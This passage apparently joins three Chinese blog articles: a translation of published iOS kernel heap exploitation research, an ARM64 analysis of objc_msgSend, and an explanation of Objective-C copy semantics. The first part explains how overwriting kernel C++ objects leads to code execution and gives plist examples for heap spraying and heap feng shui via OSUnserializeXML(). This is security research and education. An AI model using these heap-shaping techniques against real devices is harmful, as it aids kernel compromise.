正如你所看见的，所有的这些类都是由基类 OSObject 分发而来的。接下来我们将要更进一步查看这些类的内存排布。可以看到 OSObject 由一个 vtable ptr 和一个引用计数器组成：

vtable ptr 指向内核的数据段，即对象的方法表的存储位置。另一方面，引用计数器要稍微复杂一点。它是一个将 16bit 引用计数存储在低 16 位的 32bit 值。用高 16 位计数对象在集合中的频率，作为第二参考计数。貌似设计的最初目的是用来调试，因为集合计数看起来只能用来验证正常引用计数不低于集合计数。如果是这样，则任何情况都能导致内核 panic 被触发。引用计数器特别的一点是它有一个内置的整数溢出保护。如果引用计数器的值达到65534，则计数器将会被冻结，意味着它将既不会增加，也不会再减少。因此该对象不再可以被破坏，它的内存也不会被释放。

为了明白 iOS 内核对象重写是如何被利用的，首先需要弄清楚在内存中一个 OSObject 的每个部分被重写的影响。如果可以重写 vtable ptr，则可以改变用于查找对象方法的表中的地址。一旦这个指针被重写了对象上的每一个执行操作，将会导致任意内核代码执行。如果引用计数器被重写，将会允许将引用计数器设置为一个小于现有的实际引用计数的值。同时允许释放之前的对象，这将会导致一种典型用法，即通过悬挂引用引起的任意利用。一旦释放了下一个相同大小的分配内存，则对象的内容将会被完全替换。

在 iOS 内核中， OSObject 是一个最简单的 C++ 对象。其他对象比如 OSString 则更复杂一些，包含有更多数量或者更多不同类型的属性。进一步分析它们的内存布局也将会因此变得有趣。首先，让我们看看 OSString 对象，它的内存布局如下图所示。

除了 OSObject 中已知的属性外，flags，length 和 string ptr 三个是新增的。flags 只是控制对象内部的字符串指针是否在其被销毁时释放。这通常只在其他的字段同时被重写时有用。更有用一点的是 length 字段。如果字符串的长度被改变为一个大于原始值的数值，则会导致内核堆信息泄漏或者破坏的内存错误。内存错误是由于长度太大，进而导致长度较小的内存块被添加到错误的内核堆空间的空闲列表里。如果被释放的内存在之后重新分配，则返回的指针将会指向一个实际小于预期的内存块。当内核中的这个小内存块被数据填满时，多余的数据则会重写到相邻的内存中。最后一个字段可以被字符串指针自身重写。同样，该指针被重写，也会导致内核堆信息泄漏或者破坏的内存错误。这种情况下，攻击者可以向特殊空间的空闲列表注入一段任意内存地址，一旦那段内存被内核重新分配然后填满，将导致内存破坏。

另外一个有意思的重写对象是 OSArray 。它包括了更多的属性，因此也提供了一些新的有趣的重写可能性。让我们看一下 OSArray 对象的内存布局：

updateStamp, reserved 以及 fOptions 字段对于重写来说没有什么用处，因为它们不能导致有用的可利用的场景。但是其他的字段都可以。count, capacity 和 capacityIncrement 字段都是由 kalloc() 分配的内存的值。重写这些值将会混淆内存，使得它分配或者再分配错误数量的内存。这种做法将会导致内核堆信息泄漏或者破坏的内存错误。最后一个字段 array ptr 是来自于 OSObject 的对象指针。重写它使得内核可以访问任意构造的对象，从而导致内核里的任意代码执行。另一种攻击是直接重写存储数据的内存块。

我们对于 重写 iOS 内核的 C++ 对象的内存布局，以及由此产生的可行性做了一个简单概述。记住这些信息，在下一节中，我们将利用这些对象来填充 iOS 内核堆并控制它的布局。

控制 iOS 内核堆

要成功利用内核堆错误，则要求将内核堆从一个未知起点通过可控制的方式指向一个可预测的状态。对于这个需求，有很多不同的技术方法。其中最简单的方法叫做堆喷射 ( heap spraying ) ，即使用特殊的数据通过重复触发相同的分配来填充内存，直到内存中很大比例都被这种模式充满（或者触发另一个终止条件）。为了实现堆喷射，要求有一个分配基元来重复执行。由于这种技术早在 2001 年之前就已经开始使用，所以谁是堆喷射的最初发明者尚未可知。

A.Sotirov 在2007年提出了一个更复杂更好的用来控制堆状态的技术，叫做堆风水。在他的黑帽子谈话中，他描述了如何从未知状态的堆得到被控制的内存布局。首先需要重复分配内存来填充堆中的空洞。一旦所有的空洞都被封闭了，则进一步的分配将会使得彼此相邻。在这些相邻的区域释放内存块，将会在可控位置戳一些洞，使得接下来的分配都在这些洞的位置上。这种方式可以控制堆布局，即溢出缓存区将会正好溢出我们想要溢出的数据。当然，实现一个堆风水技术也要比堆喷射更复杂，它不仅需要一个分配基元，还需要一个回收基元。

在以前的公开 iOS 内核利用中，分配以及回收基元通常是特殊的，且依赖于实际的开发功能。在此，我们将介绍一个更为通用的方法，可以在没有易被攻击的特殊分配和回收基元的条件下，控制内核堆。

iOS 内核有一个非常有趣的函数叫做 OSUnserializeXML()。它由许多 IOKit API 中的函数来调用，被用于将对象从用户空间传送到内核空间。这个函数以 XML.plist 的格式 提供一个输入，可以是数字，布尔量，字符串，数据，字典，数组，集合和引用。下面是一个 XML plist 的例子。

<plist version="1.0">
<dict>
    <key>IsThere</key>
        <string>one technique to rule them all?</string>
    <key>Answer</key>
        <true />
    <key>Audience</key>
        <string>meet OSUnserializeXML()</string>
</dict>
</plist>

通过构建这样一个 XML.plist 数据包，可以在内存中创建任意对象集合，以及在所有大小和形状中，分配任意数量的不同类型的对象。我们可以用它来控制内核堆，以任何我们喜欢的方式。下表是一个基本对象的内存大小的备忘清单。

现在我们来看一下如何构造 XML 数据，使其实现堆喷射和堆风水。

• 重复分配

我们首先需要做的是分配任意大小任意数量的内存块。不幸的是，在 XML.plist 数据块内部进行循环是不可能的。但是也没有限制，因此我们可以按照我们的想法分配尽可能多的数据。

<plist version="1.0">
<dict>
    <key>ThisIsOurArray</key>
     <array>
            <string>again and</string>
            <string>again and</string>
            <string>again and</string>
            <string>again and</string>
            <string>again and</string>
            <string>again and</string>
            <string>...</string>
     </array>
</dict>
</plist> 

这个示例使用一个数组对象，并填充任意数量的字符串。为了做一个内核堆喷射，我们只需要构建一个非常庞大的 XML 数据对象，并传给一个合适的 IOKit API 函数。

• 分配受攻击者控制的数据

在 iOS 内核堆喷射中，使用字符串数据对象的缺点是，不能包含空字节。因此，用完全任意数据结构的字符串对象来实现堆喷射是不可行的。不过我们还有数据对象可以施以援手。由于数据是 base64 编码的，所以它允许创建任意数据结构，没有字符值的限制。另外，内核也支持简单的 16 进制。比如下面的例子。

<plist version="1.0">
<dict>
       <key>ThisIsOurData</key>
        <array>
              <data>VGhpcyBJcyBPdXIgRGF0YSB3aXRoIGEgTlVMPgA8+ADw=</data>
              <data format="hex">00112233445566778899aabbccddeeff</data>
              <data>...</data>
       </array>
</dict>
</plist> 

数据对象类型也更方便，因为它读取到4049块中，因此在解码 XML 时，它在我们感兴趣的内存空间中不分配块。通过结合数组和数据，我们可以执行内核水平的堆喷射。堆风水需要更多的控制条件，接下来我们会提到。

• 用应用数据填充任意大小的内存块

对于堆风水，我们不仅需要分配任意大小的内存块，还需要在重写导致的任意代码执行时，分配被数据填充的任意大小内存块。对于此，我们再次使用数据对象类型（当然也可以使用字典对象类型）。

<plist version="1.0">
<dict>
        <key>ThisArrayAllocates_4_Bytes</key>
        <array>
              <true />
        </array>
        <key>ThisArrayAllocates_12_Bytes</key>
        <array>
              <true /><true /><true />
        </array>
        <key>ThisArrayAllocates_28_Bytes</key>
        <array>
              <true /><true /><true ><true /><true /><true /><true />
       </array>
</dict>
</plist>

在这个示例中，我们使用分配的数组来填充内存，并指向布尔对象。布尔量不会是单独的分配内存的对象。相反，它们会增加一个 global true 对象的引用计数。如果通过重写它向内核提供我们精心设计的对象，则会导致任意代码执行。字典对象类型可用于这种攻击。不同的是，在这个例子中，单个对象指针的乘数为 4，在字典中是 8，因为存储了 键值 (key) 和数值 (value) 对象的指针。

• 在分配区域戳洞

实现对内核堆完全控制的最后一件事是不仅需要分配任意大小的内存块，还需要能够在这些分配中戳任意大小的洞。在字典对象的帮助下，我们可以了解如何在已分配的内存中戳洞，请看下面的示例。

<plist version="1.0">
<dict>
  <key>AAAA</key>
      <data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</data>
   <key>BBBB</key>
      <data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</data>
   <key>CCCC</key>
      <data>ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ</data>
   <key>DDDD</key>
      <data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</data>
   <key>EEEE</key>
      <data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</data>
   <key>CCCC</key>
      <true />
</dict>
</plist>

在这个例子中，可以看到键值 CCCC 被设定了两次。第一次是插入到字典中，第二次更新键值的数值，且前一个值已被破坏。这个数据对象的破坏将会释放该数值对象本身，以及释放由 base64 编码重复的 Z 字符所组成的数值。我们也因此在内存中有效地戳了一个洞。拼图的最后一块是你构建的用于控制堆的 XML.plist 文件是没有问题的。

总结

本文中我们首先重演了 iOS 内核堆空间分配，以及不同作者在之前所提到的它的利用。接着，我们介绍了其他的内核堆分配器以及它们所带来的额外的堆元数据。我们讨论了如何重写这些可以被利用的数据，以及提到了这些分配器目前的变化。接下来我们离内核堆元数据结构的利用只有一步之遥，我们讨论了 iOS C++ 内核对象，以及他们在内存结构的布局和在内存中重写他们可以得到什么。最后，我们介绍一种通用的技术，利用 OSUnserializeXML() 可以实现堆喷射和堆风水。这种新技术不仅可以使用任意数据喷射堆来完全控制它的布局，也可以使用有意思的内核应用数据来填充内核堆，该应用数据采用内核级别的 C++ 对象形式，一旦重写，将会允许任意代码执行。

References

[1] E. PERLA, M. OLDANI, ”A GUIDE TO KERNEL EXPLOITATION - ATTACKING THE CORE”, 2010, HTTP://WWW.ATTACKINGTHECORE.COM/
[2] S. ESSER, ”IOS KERNEL EXPLOITATION, BLACKHAT USA”, 2011 HTTPS://MEDIA.BLACKHAT.COM/BH-US- 11/ESSER/BH_US_11_ESSER_EXPLOITING_THE_IOS_KERNEL_WP.PDF
[3] C. MILLER, D. BLAZAKIS, D. DAIZOVI, S. ESSER, V. IOZZO, R.-P. WEINMANN, ”IOS HACKER’S HANDBOOK”, 2012, HTTP://EU.WILEY.COM/WILEYCDA/WILEYTITLE/PRODUCTCD-1118204123,DESCCD- DESCRIPTION.HTML
[4] A. SOTIROV, ”HEAP FENG SHUI IN JAVASCRIPT, BLACKHAT EUROPE”, 2007 HTTPS://WWW.BLACKHAT.COM/PRESENTATIONS/BH-USA-07/SOTIROV/WHITEPAPER/BH- USA-07-SOTIROV-WP.PDF

调用方法，本质是发送消息。比如：

Person *p = [[Person alloc] init];
[p test];
// 本质是发送消息： clang -rewrite-objc main.m
((void (*)(id, SEL))(void *)objc_msgSend)((id)p, sel_registerName("test"));

当编译器遇到一个方法调用时，它会将方法的调用翻译成以下函数中的一个，
objc_msgSend、 objc_msgSend_stret、 objc_msgSendSuper 和 objc_msgSendSuper_stret。

• 发送给对象的父类的消息会使用 objc_msgSendSuper ;
• 有数据结构作为返回值的方法会使用 objc_msgSendSuper_stret 或 objc_msgSend_stret ;
• 其它的消息都是使用 objc_msgSend 发送的。

也就是说所有的方法调用，都是通过 objc_msgSend（或其大类）来实现转发的。

objc_msgSend 的具体实现由汇编语言编写而成，不同平台有不同的实现，objc-msg-arm.s、objc-msg-arm64.s、objc-msg-i386.s、objc-msg-simulator-i386.s、objc-msg-simulator-x86_64.s、objc-msg-x86_64.s。
本文以 ARM64 平台为例。

汇编分析

汇编概览

如下图所示：

流程图分析

分支1：X0 = 0

这条分支很简单，对照图1的总图来讲，就是蓝色的那条线，第1行->第2行-> 29 -> 35~41 ret。
先对传入的 X0（即对象地址）作判断，如果 X0=0，则直接返回。

分支2：X0 < 0 (Tagger Pointer)

对照图1来讲，流程为黄色的那根线，1~2 -> 29~34 -> 6 -> …

判断 X0<0，即地址最高位为1，这是 Tagger Pointer 类型的标志（对于 ARM64 架构来讲），关于这个类型，部分内容在我之前的文章copy 与 mutableCopy（传说中的深浅拷贝）中5.4节有提到。

loc_1800b9c30 这个模块取出了 Tagger Pointer 的类索引表，赋值给 X10。
下一行 UBFM X11,X0,#0x3C,#0x3F，取 0x3C~0x3F 中的值赋给 X11，其余位以0填充，与图1第32行的意思相同，都是取出最高4位，比如 NSString 类型的 Tagger Pointer 最高4位为 a，运算过后，x11 = 0xa 。
接着 LDR X9,[X10,X11,LSL#3]，先运算 X11 左移3位等于 0x50。x9 = x10[0x50]，也就是在类索引表中查找所属类。找到后跳到 loc_1800b9BD0，也就是图1中的第6行。

分支3：X0 > 0

这是大多数情况会走的流程。

//类的结构
struct objc_class : objc_object {
    // Class ISA;       //继承自objc_object
    Class superclass;     // 父类引用
    cache_t cache;        // 用来缓存指针和虚函数表
    class_data_bits_t bits; // class_rw_t 指针加上 rr/alloc 标志
}

接下来我们根据汇编指令一条条来分析。
LDR X13,[X0] 取出调用方法的对象指针保存的地址（从上面代码可以看出，就是 isa 指针地址），赋给 X13。

AND X9,X13,#0x1FFFFFFF8 解读这条指令之前，要先了解 isa 指针的结构。

union isa_t {
    isa_t() { }
    isa_t(uintptr_t value) : bits(value) { }
    Class cls;
    uintptr_t bits;
    struct {
        uintptr_t indexed           : 1;
        uintptr_t has_assoc         : 1;
        uintptr_t has_cxx_dtor      : 1;
        uintptr_t shiftcls          : 33; 
        uintptr_t magic             : 6;
        uintptr_t weakly_referenced : 1;
        uintptr_t deallocating      : 1;
        uintptr_t has_sidetable_rc  : 1;
        uintptr_t extra_rc          : 19;
    };
};

首先先来看一下这 64 个二进制位每一位的含义：

也就是说 0x1FFFFFFF8 取1的位数刚好是 shiftcls 的区域，是 isa 指针中存储的该对象的类指针。所以 X9 = isa->cls。

LDP X10,X11,[X9,#0X10]： X9+16个字节，也就是跳过了8个字节的 isa 指针，和8个字节的 superclass 指针，到了 cache 指针这里。 cache 的结构如下：

struct bucket_t {
    void *sel;
    void *imp;
};
struct cache_t {
    struct bucket_t *buckets;
    mask_t mask;
    mask_t occupied;
};

因此，X10=buckets 指针，X11 的低32位为 mask，高32位为 occupied（mask_t 是 int 类型）。 occupied是 cache 中实际拥有的方法个数。

AND W12,W1,W11： 将 _cmd 的低32位和 cache->mask 作与运算。
ADD X12,X10,X12,LSL#4: 与运算后的结果左移4位，作为buckets的索引（相当于数组下标）。这里也可以看出 mask 的作用，应该是一种优化的 hash 表搜索算法。将取得的指针赋给 X12。
LDP X16,X17,[X12]： 由 bucket 的结构可以知道，这里是将 bucket [(_cmd&mask)<<4] 中的 sel 赋给 X16，imp 赋给 X17（imp 为方法的入口地址）。
这三条指令就是通过 mask 找到一个 bucket 元素。

CMP X16,X1, B.NE loc_1800B9BEC, BR X17： 这3条指令很好理解，比较 bucket 元素中的 sel 和 _cmd 的值是否相等，不相等，则跳到 loc_1800B9BEC 模块，相等则直接进入对应 imp（方法入口地址）。

loc_1800B9BEC CBZ X16,_objc_msgSend_uncached_impcache： 如果 X16=0 则跳到 objc_msgSend_uncached 这个函数去，不等于0则继续执行。
CMP X12,X10, B.EQ loc_1800B9C00： 判断是否已搜索到最后一个 bucket（即 bucket 的初始地址），是则跳到 loc_1800B9C00，否则继续执行。

• 先讨论没有搜索完的情况，
  loc_1800B9C00 LDP X16,X17,[X12,#-0X10], B loc_1800B9BE0： bucket 元素减16字节，即跳到前一个 bucket 元素，同样将 sel 和 imp 指针赋值，然后跳回与 _cmd 比较的那条指令循环。

• 直到搜索完毕，
  ADD X12,X12,W11,UXTW #4： x12 = buckets+(mask<<4)，扩大搜索范围，在缓存内全面搜索。（进行到这一步，说明 bucket [(_cmd&mask)<<4] 元素之前的 bucket 已全部被占满，且均不是我们要找的方法）
  LDP X16,X17,[X12]： 跟之前的命令意思一样。

可以看到，之后的流程跟前面的循环一模一样，但是加大了搜索范围，从 bucket [mask<<4] 往前开始搜索（进行到这一步说明 bucket [(_cmd&mask)<<4] 前面的缓存都占满了）。从以上分析，我们可以看出，能在缓存 cache 里找到的方法，会直接跳到入口地址 X17。而没有在 cache 里的方法，则要继续调用 objc_msgSend_uncached 函数。现在，返回图1再查看，是不是觉得思路清晰很多呀！

关于缓存 cahce

cache 的原则是缓存那些可能要执行的函数地址。

有一种说法是，只要函数执行过一次的方法，都会存入缓存。但在我的测试中，有时候会遵循这种说法，有时候又不尽然，执行过的方法不一定会被放入缓存，但没有被执行过的肯定不会进入缓存。具体什么样的操作会导致方法被载入缓存，还需要从类的初始化探讨起，此点存疑。

cahce 其实是一个 hash 表，通过 _cmd&mask 的结果再左移4位，作为索引值，如果这个地址存的方法 _cmd2 与 _cmd 不同，那么有两种原因：一是 _cmd 压根儿没被载入缓存；二是由于它的索引值跟 _cmd 相同，但 _cmd2 先进入缓存，因此 _cmd2 占据了这个位置。这时，如果 _cmd 被载入缓存的话，则在 _cmd2 索引值-1的位置存入，如果这个位置也不为0，那么继续前往索引值-2的位置，直到找到一个0位，然后存入。

在上面的汇编分析中，我们也能看到这个思路。在图1中第8行，取 bucket 索引值；第10行，比较 _cmd 值；如果不同则第13行，查看是否为0，如果为0，则不再搜索，直接进入 uncache 函数（因为是0的话，由上一段分析可以知道，说明这个方法没有在缓存里）；如果不为0，则前往索引值-1（地址-16）的位置查找；第17行返回循环到第10行。

下面来做一个测试，

@implementation aboutObjectiveC
-(void)objc_msgSend1 {
    NSLog(@"objc_msgSend1");
    [self objc_msgSend2];
}
-(void)objc_msgSend1 {
    NSLog(@"objc_msgSend2");
}

如上图所示，在 main.m 第17行下断点（即第二次执行 objc_msgSend1 方法时），si 进入 objc_msgSend 函数，然后执行到图1中的第7行，打印各值如下

w11 是 mask 的值为0011，跟 init的 SEL(0x1883910b6) 指针作与运算，为0x2，左移4位为0x20，因此在 x10+0x20 处载入 cache；跟 objc_msgSend1 的 SEL(0x10008ecac) 作与运算，为0x0，左移4位还是0x0，因此在 x10 bucket 处载入 cache；同样对 objc_msgSend2 作与运算左移4位，也是0x20，而 bucket[0x20] 处已经被 init 占用了，因此前往 bucket[0x20-0x10] 处，这个位置是0，所以将 objc_msgSend2 填入缓存的这个位置。如下图所示：

lookUpImpOrForward 函数

我们已经知道如果缓存中没有找到该方法，则跳转执行 _objc_msgSend_uncached_impcache，在这里又会执行 bl _class_lookupMethodAndLoadCache3 指令，跳转到 _class_lookupMethodAndLoadCache3，由汇编语言的实现回到了 C 函数的实现，这个函数只是简单的调用了另外一个函数 lookUpImpOrForward，并传入参数 cache=NO，这个函数是 Runtime 消息机制中非常重要的一环。

IMP lookUpImpOrForward(Class cls, SEL sel, id inst, 
                       bool initialize, bool cache, bool resolver)
{
    Class curClass;
    IMP imp = nil;
    Method meth;
    bool triedResolver = NO;
    runtimeLock.assertUnlocked();
    //因为 _class_lookupMethodAndLoadCache3 传入的 cache = NO，
    //所以这里会直接跳过 if 中代码的执行，
    //在 objc_msgSend 中已经使用汇编代码查找过了。 
    if (cache) {
        imp = cache_getImp(cls, sel);
        if (imp) return imp;
    }
    //根据 cls->isRealized() 来判断是否要调用 realizeClass 函数在
    // Objective-C 运行时 初始化的过程中会对其中的类进行第一次初始化
    //也就是执行 realizeClass 方法，为类分配可读写结构体 class_rw_t
    //的空间，并返回正确的类结构体。
    if (!cls->isRealized()) {
        rwlock_writer_t lock(runtimeLock);
        realizeClass(cls);
    }
    //根据 cls->isInitialized() 来判断类的是不是 initialized，
    //也就是类的首次被使用的时候，其 initialize 方法要在此时被调用
    //一次，也仅此一次。没有 initialized 的话，则调用
    //_class_initialize 函数去触发这个类的 initialize 方法，然后
    //会设置 isInitialized 状态为 initialized 
    if (initialize  &&  !cls->isInitialized()) {
        _class_initialize (_class_getNonMetaClass(cls, inst));
        // If sel == initialize, _class_initialize will send +initialize and 
        // then the messenger will send +initialize again after this 
        // procedure finishes. Of course, if this is not being called 
        // from the messenger then it won't happen. 2778172
    }
    // The lock is held to make method-lookup + cache-fill atomic 
    // with respect to method addition. Otherwise, a category could 
    // be added but ignored indefinitely because the cache was re-filled 
    // with the old value after the cache flush on behalf of the category.
 retry:
    runtimeLock.read();
    // 是否开启GC(垃圾回收)； 新版本这一段代码已经没有了。
    if (ignoreSelector(sel)) {
        imp = _objc_ignored_method;
        cache_fill(cls, sel, imp, inst);
        goto done;
    }
    // 这里再次查找 cache 是因为有可能 cache 真的又有了，因为锁的原因
    imp = cache_getImp(cls, sel);
    if (imp) goto done;
    // Try this class's method lists.
    meth = getMethodNoSuper_nolock(cls, sel);
    if (meth) {
        log_and_fill_cache(cls, meth->imp, sel, inst, cls);
        imp = meth->imp;
        goto done;
    }
    // Try superclass caches and method lists.
    curClass = cls;
    while ((curClass = curClass->superclass)) {
        // Superclass cache.
        imp = cache_getImp(curClass, sel);
        if (imp) {
            if (imp != (IMP)_objc_msgForward_impcache) {
                // Found the method in a superclass. Cache it in this class.
                log_and_fill_cache(cls, imp, sel, inst, curClass);
                goto done;
            }
            else {
                // Found a forward:: entry in a superclass.
                // Stop searching, but don't cache yet; call method 
                // resolver for this class first.
                break;
            }
        }
        // Superclass method list.
        meth = getMethodNoSuper_nolock(curClass, sel);
        if (meth) {
            log_and_fill_cache(cls, meth->imp, sel, inst, curClass);
            imp = meth->imp;
            goto done;
        }
    }
    // No implementation found. Try method resolver once.
    if (resolver  &&  !triedResolver) {
        runtimeLock.unlockRead();
        _class_resolveMethod(cls, sel, inst);
        // Don't cache the result; we don't hold the lock so it may have 
        // changed already. Re-do the search from scratch instead.
        triedResolver = YES;
        goto retry;
    }
    // No implementation found, and method resolver didn't help. 
    // Use forwarding.
    imp = (IMP)_objc_msgForward_impcache;
    cache_fill(cls, sel, imp, inst);
 done:
    runtimeLock.unlockRead();
    // paranoia: look for ignored selectors with non-ignored implementations （新版本没有这两句断言）
    assert(!(ignoreSelector(sel)  &&  imp != (IMP)&_objc_ignored_method));
    // paranoia: never let uncached leak out （新版本没有这两句断言）
    assert(imp != _objc_msgSend_uncached_impcache);
    return imp;
}

lookUpImpOrForward 主要做了以下几个工作

• 判断类的初始化 cls->isRealized() 和 cls->isInitialized() ；
• 是否开启GC(垃圾回收)；（新版本没有这一步）
• 再次尝试去缓存中获取IMP；（因为锁的原因）
• 找不到接着去 class 的方法列表查找，找到会加入缓存列表然后返回 IMP；
• 找不到，去父类的缓存列表找，然后去父类的方法列表找，找到了会加入自己的缓存列表，然后返回 IMP，找不到循环此步骤，直到找到基类；
• 都找不到则 _class_resolveMethod 函数会被调用，进入消息动态处理、转发阶段。

对于 objc_msgSend 反汇编的分析就结束啦！如果是在动态调试过程中，遇到 objc_msgSend 想要进入被调用的方法的话，有 cache，则直接 si 进入 br X17，如果没有 cache，则在 _objc_msgSend_uncached_impcache 函数中最后几行中的 br X17 指令输入 si 即可进入被调用方法。

Reference

[1] ObjC Runtime（五）：消息传递机制　https://xiuchundao.me/post/runtime-messaging
[2] 从源代码看 ObjC 中消息的发送　http://draveness.me/message/
[3] objc_msgSend内部到底做了什么？　http://oriochan.com/14710029019312.html
[4] 用 isa 承载对象的类信息　http://www.desgard.com/isa/
[5] 深入解析 ObjC 中方法的结构
[https://github.com/Draveness/iOS-Source-Code-Analyze/blob/master/contents/objc/\%E6\%B7\%B1\%E5\%85\%A5\%E8\%A7\%A3\%E6\%9E\%90\%20ObjC\%20\%E4\%B8\%AD\%E6\%96\%B9\%E6\%B3\%95\%E7\%9A\%84\%E7\%BB\%93\%E6\%9E\%84.md](<https://github.com/Draveness/iOS-Source-Code-Analyze/blob/master/contents/objc/深入解析 ObjC 中方法的结构.md>)

对象拷贝有两种方式：浅拷贝和深拷贝。

浅拷贝(shallow copy)，并不拷贝对象本身，仅仅是拷贝指向对象的指针。
如果 B = [A 浅拷贝]，则 A、B 两个对象中都保存的同一个指针，如果 A 通过这个指针改变了指针指向的对象，那么 B 指针指向的对象也就随之改变了；

深拷贝是直接拷贝整个对象到另一块内存中，开辟新的地址来存储，两个对象至此一别，再无关联。

对于集合对象（如 NSSArray、NSDictionary 等）而言，又有单层深拷贝与完全拷贝之分。

单层深拷贝(one-level-deep copy)：指的是对于被拷贝对象，至少有一层是深拷贝。
完全拷贝(real-deep copy)：指的是对于被拷贝对象的每一层都是对象拷贝。

copy 与 mutableCopy

不管是集合类对象，还是非集合类对象，接收到 copy 和 mutableCopy 消息时，都遵循以下准则：

• copy 返回不可变(imutable)对象，如果对copy返回值使用可变对象方法就会crash；
• mutablCopy 默认返回可变(mutable)对象（如果拷贝后的对象本身是不可变的，那也没法变呀，总不能改变人对象的类型吧，比如 NSString *str2 = [str1 mutableCopy]; ）。

示例头文件

首先定义了一系列会用到的属性，另外，我在宏定义里去掉了 NSLog 的时间戳，然后定义了 AmyLog ，用来显示对象的所属类，以及地址。

#import <Foundation/Foundation.h>
#define NSLog(FORMAT, ...) fprintf(stderr, "%s\n", [[NSString stringWithFormat:FORMAT, ##__VA_ARGS__] UTF8String] )
#define AmyLog(_var) NSLog(@"     (%@ *) %p\n", [_var class], _var)
@interface FirstClass : NSObject
//非集合类对象
@property (nonatomic, copy) NSString *string;
@property (nonatomic, strong) NSMutableString *mString;
@property (nonatomic, copy) NSString *stringCopy;
@property (nonatomic, copy) NSString *stringMutableCopy;
@property (nonatomic, strong) NSMutableString *mStringCopy;
@property (nonatomic, strong) NSMutableString *mStringMutableCopy;
//集合类对象
@property (nonatomic, copy) NSArray *array;
@property (nonatomic, copy) NSArray *arrayCopy;
@property (nonatomic, copy) NSArray *arrayMutableCopy;
@property (nonatomic, strong) NSMutableArray *mArrayCopy;
@property (nonatomic, strong) NSMutableArray *mArrayMutableCopy;
@end

非集合类对象(NSString)

执行代码：

FirstClass *fC = [[FirstClass alloc] init];
        
fC.string = @"originString";
fC.stringCopy = fC.string;  //浅，指针 (不可变String）
fC.stringMutableCopy = [fC.string mutableCopy];  //深，新地址 (可变String)
        
fC.mStringCopy = [fC.string copy];  //浅，指针 (不可变String）
fC.mStringMutableCopy = [fC.string mutableCopy];  //深，新地址 (可变String)
        
NSLog(@"\n非集合类对象(NSString)：\noriginal address:    "); AmyLog(fC.string);
NSLog(@"copy -> NSString:    "); AmyLog(fC.stringCopy);
NSLog(@"mutableCopy -> NSString:    "); AmyLog(fC.stringMutableCopy);
NSLog(@"copy -> NSMutableString:   "); AmyLog(fC.mStringCopy);
NSLog(@"mutableCopy -> NSMutableString:    "); AmyLog(fC.mStringMutableCopy);

打印结果：

__NSCFConstantString 和 __NSCFString

__NSCFConstantString

__NSCFConstantString 对象，就是字符串常量对象，存储在栈上，创建之后由系统来管理内存释放.相同内容的 NSCFConstantString 对象地址相同。该对象引用计数很大，为固定值不会变化，表示无限运行的 retainCount ，对其进行 retain 或 release 也不会影响其引用计数。

当创建一个 NSCFConstantString 对象时，会检测这个字符串内容是否已经存在，如果存在，则直接将地址赋值给变量；不存在的话，则创建新地址，再赋值。

总的来说，对于 NSCFConstantString 对象，只要字符串内容不变，就不会分配新的内存地址，无论你是赋值、 retain、 copy 。这种优化在大量使用 NSString 的情况下可以节省内存，提高性能。

——摘自简书作者路子：NSString：内存简述，Copy与Strong关键字

对于 NSString 来说，以下几种赋值方法将会保存为 NSCFConstantString 对象：

1. 直接赋值，如 NSString *str = @"STR";
2. stringWithString ,如 NSString *str = [NSString stringWithString:@"Str"];
3. str1 = str2;
4. str1 = [str2 copy/retain];

__NSCFString

__NSCFString 对象是 NSString 的一种子类，存储在堆上，不属于字符串常量对象。该对象创建之后和其他的 Obj 对象一样引用计数为1，对其执行 retain 和 release 将改变其 retainCount 。

诸如 [NSString stringWithFormat:] 方法以及 NSMutableString 创建的字符串等，都是构造的这种对象。

分析

mutableCopy 意味着你告诉编译器，我拷贝过来的这个对象可能会改变，因此编译器肯定会新开辟一个地址给你。 因此采用这种方式的都是深拷贝（包括单层深拷贝和完全拷贝）。
通过结果我们也可以看见，正如我们前面所提到的，copy 返回不可变对象，因此对于原始对象是不可变的 NSSring 类型，完全没有必要再新分配一块内存。因此对于不可变的非集合对象，采用 mutableCopy 方式的拷贝就是深拷贝，copy 是浅拷贝。

非集合类对象(NSMutableString)

执行代码：

fC.mString = [NSMutableString stringWithString:@"mStringingi"];
fC.stringCopy = fC.mString;  //深，新地址（可变String）
fC.stringMutableCopy = [fC.mString mutableCopy]; ////深，新地址 (可变String)
        
fC.mStringCopy = [fC.mString copy];  //深，新地址，可变String）
fC.mStringMutableCopy = [fC.mString mutableCopy]; //深，新地址，(可变String)
        
NSLog(@"\n非集合类对象(NSMutableString)：\noriginal address:    "); AmyLog(fC.mString);
NSLog(@"copy -> NSString:    "); AmyLog(fC.stringCopy);
NSLog(@"mutableCopy -> NSString:    "); AmyLog(fC.stringMutableCopy);
NSLog(@"copy -> NSMutableString:   "); AmyLog(fC.mStringCopy);
NSLog(@"mutableCopy -> NSMutableString:    "); AmyLog(fC.mStringMutableCopy);

打印结果：

分析

我们已经知道只要用 mutableCopy ，对于非集合对象的拷贝，无论可变不可变，都是深拷贝。 copy 对于不可变对象的拷贝是浅拷贝。那么对于 copy 可变对象呢？如上图的结果所示，是深拷贝。

也很容易理解，我这个对象是可变的，我随时可能通过其他引用它的指针来改变这个对象，现在你要拷贝一份不可变的内容，编译器当然不能直接把它的指针给你啦，这样岂不就是可变的了？所以要新分配给你一块内存，用来储存你拷贝的不可变内容。

就是说，对于可变非集合对象的拷贝，copy 和 mutableCopy 都是做的深拷贝。

__NSTaggedPointerString

Tagged Pointer 是一个能够提升性能、节省内存的有趣的技术。我们知道，程序都使用了指针地址对齐概念。指针地址对齐就是指在分配堆中的内存时往往采用偶数倍或以2为指数倍的内存地址作为地址边界。几乎所有系统架构，包括 Mac OS 和 iOS，都使用了地址对齐概念对象。对于 iOS 和 MAC 来说，指针地址是以16个字节（或16的倍数）为对齐边界的，进一步说，分配的内存地址最后4位永远都是0。

